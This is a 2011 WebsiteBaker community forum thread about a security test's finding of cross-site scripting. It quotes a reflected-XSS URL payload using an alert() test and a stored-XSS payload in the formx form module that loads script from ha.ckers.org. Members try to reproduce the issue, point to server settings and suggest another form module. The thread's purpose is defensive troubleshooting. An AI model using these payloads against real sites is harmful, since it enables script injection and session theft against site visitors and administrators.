Bug
 Offline
Posts: 188
|
 |
« on: October 31, 2011, 04:50:10 PM » |
|
I received this from a company that did a security-test on a wb website (standard installation 2.  when they place ?--></script><script>alert(32018)</script> behing the page-address an alert popup comes up... they told me 1. Encode output based on input parameters
Encode data that is received as input when you write it out as HTML. This technique is
effective on data that was not validated for some reason during input. By using
techniques such as URLEncode and HTMLEncode, you can prevent malicious script
from executing.
2. Filter input parameters for special characters
Filtering input works by removing some or all special characters from your input.
Special characters are characters that enable script to be generated within an HTML
stream. Special characters include the following: < > " ' % ; ) ( & + -
3. Filter output based on input parameters for special characters anyone know what to do now? |
|
|
|
|
Logged
|
|
|
|
Ruud
WebsiteBaker Org e.V.
Offline
Posts: 2298
|
|
« Reply #1 on: October 31, 2011, 05:44:53 PM » |
|
Did they tell you on what page this was happening?
Did you verify this yourself? (see the popup?)
|
|
|
|
|
Logged
|
Professional WebsiteBaker Solutions
|
|
|
BlackBird
AddOn Development
Offline
Posts: 2069
|
|
« Reply #2 on: October 31, 2011, 05:54:24 PM » |
|
Tried this with 2.8.1, but nothing happens. Do you mean an URI like this?
http : / /xxx/wb28/pages/test.php?--></script><script>alert(32018)</script>
(Inserted some blanks to avoid linking)
|
|
|
|
|
Logged
|
Alle großen Veränderungen beginnen im Kleinen
|
|
|
Bug
Offline
Posts: 188
|
|
« Reply #3 on: October 31, 2011, 06:19:55 PM » |
|
yes I saw the popup
tried it on the server and I saw the popup ( only does that with ie6 & ie7 )
on many other hosts I have access to it did not respond
I saw the report and they have been able to alter stuff ...
|
|
|
|
« Last Edit: November 07, 2011, 07:02:47 PM by Bug »
|
Logged
|
|
|
|
Xagone
AddOn Development
Offline
Posts: 478
|
|
« Reply #4 on: October 31, 2011, 08:23:20 PM » |
|
i could not replicate, maybe it's a plugin?
|
|
|
|
|
Logged
|
|
|
|
Ruud
WebsiteBaker Org e.V.
Offline
Posts: 2298
|
|
« Reply #5 on: October 31, 2011, 10:30:50 PM » |
|
yes I saw the popup
tried it on byte.nl server and I saw the popup ( only does that with ie6 & ie7 )
Can you email or PM me a link so I can have a look? |
|
|
|
|
Logged
|
Professional WebsiteBaker Solutions
|
|
|
Bug
Offline
Posts: 188
|
|
« Reply #6 on: November 01, 2011, 07:26:58 PM » |
|
As it now seemed the server settings had to be adjusted, it all works well now
|
|
|
|
|
Logged
|
|
|
|
Xagone
AddOn Development
Offline
Posts: 478
|
|
« Reply #7 on: November 01, 2011, 07:57:34 PM » |
|
i'vee been contaminated by Facebook, As soon as i've read the last post about being a server problem I was searching the "like" button
|
|
|
|
|
Logged
|
|
|
|
Bug
Offline
Posts: 188
|
|
« Reply #8 on: November 01, 2011, 08:30:08 PM » |
|
|
|
|
|
|
Logged
|
|
|
|
Ruud
WebsiteBaker Org e.V.
Offline
Posts: 2298
|
|
« Reply #9 on: November 01, 2011, 10:43:45 PM » |
|
i'vee been contaminated by Facebook
Can we help with that? Do you know exactly what has happened? |
|
|
|
|
Logged
|
Professional WebsiteBaker Solutions
|
|
|
Bug
Offline
Posts: 188
|
|
« Reply #10 on: November 01, 2011, 10:47:35 PM » |
|
What happened is that everyone, including xagone these days is facebookhooked amd approached real life as is was facebook, hell last week someone gave me a 'like' sticker!
|
|
|
|
|
Logged
|
|
|
|
BlackBird
AddOn Development
Offline
Posts: 2069
|
|
« Reply #11 on: November 02, 2011, 09:53:35 AM » |
|
Can you tell us WHAT server settings had to be changed?
|
|
|
|
|
Logged
|
Alle großen Veränderungen beginnen im Kleinen
|
|
|
|
NorHei
|
|
« Reply #12 on: November 05, 2011, 03:30:24 PM » |
|
Some more Details please.
|
|
|
|
|
Logged
|
It is easier to change the specification to fit the program than vice versa.
|
|
|
Bug
Offline
Posts: 188
|
|
« Reply #13 on: November 07, 2011, 07:01:14 PM » |
|
No I cannot, I am not the one serving the server...
I do not have a f*******************ng clue what was wrong and what had to be changed
|
|
|
|
|
Logged
|
|
|
|
BlackBird
AddOn Development
Offline
Posts: 2069
|
|
« Reply #14 on: November 08, 2011, 08:29:58 AM » |
|
Too bad.  |
|
|
|
|
Logged
|
Alle großen Veränderungen beginnen im Kleinen
|
|
|
noname8
Offline
Posts: 75
|
|
« Reply #15 on: November 08, 2011, 10:08:31 AM » |
|
Could this be magic quotes in the server ? (that should not be on these days, but it is sometimes) or perhaps globals? (they should NOT be on) Every possible security issue must be taken seriously.  How about if your template echoed the current page name / query string etc. somewhere and that was it ? |
|
|
|
|
Logged
|
|
|
|
Bug
Offline
Posts: 188
|
|
« Reply #16 on: November 08, 2011, 08:22:14 PM » |
|
I wonder .... the formx module... I use it a lot as I put in <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>and press send ... at first sight nothing happend but as I went to the admin edit page / form / and clicked the sumbitted formdata underneath the formfields I get a stinking javascript popup ... How can this be prevented? info on xss: http://ha.ckers.org/xss.html |
|
|
|
|
Logged
|
|
|
|
BlackBird
AddOn Development
Offline
Posts: 2069
|
|
« Reply #17 on: November 09, 2011, 11:23:09 AM » |
|
You may should "upgrade" to an alternative form module.  |
|
|
|
|
Logged
|
Alle großen Veränderungen beginnen im Kleinen
|
|
|
Bug
Offline
Posts: 188
|
|
« Reply #18 on: November 09, 2011, 09:10:09 PM » |
|
Mp form is save regarding the xss stuff?
|
|
|
|
|
Logged
|
|
|
|
Bug
Offline
Posts: 188
|
|
« Reply #19 on: November 09, 2011, 11:12:27 PM » |
|
as it now seems mp form does not respond to the xss stuff..
any confirmation or extra knowledge about this is very much appriciated
|
|
|
|
|
Logged
|
|
|
|
BlackBird
AddOn Development
Offline
Posts: 2069
|
|
« Reply #20 on: November 10, 2011, 10:28:45 AM » |
|
I don't know how safe MPForm is, but I know FrankH is more interested in security than many other modules authors (and did some security tweaking in this module), so I think it should be quite safe.
|
|
|
|
|
Logged
|
Alle großen Veränderungen beginnen im Kleinen
|
|
|
|
WebsiteBaker Community Forum
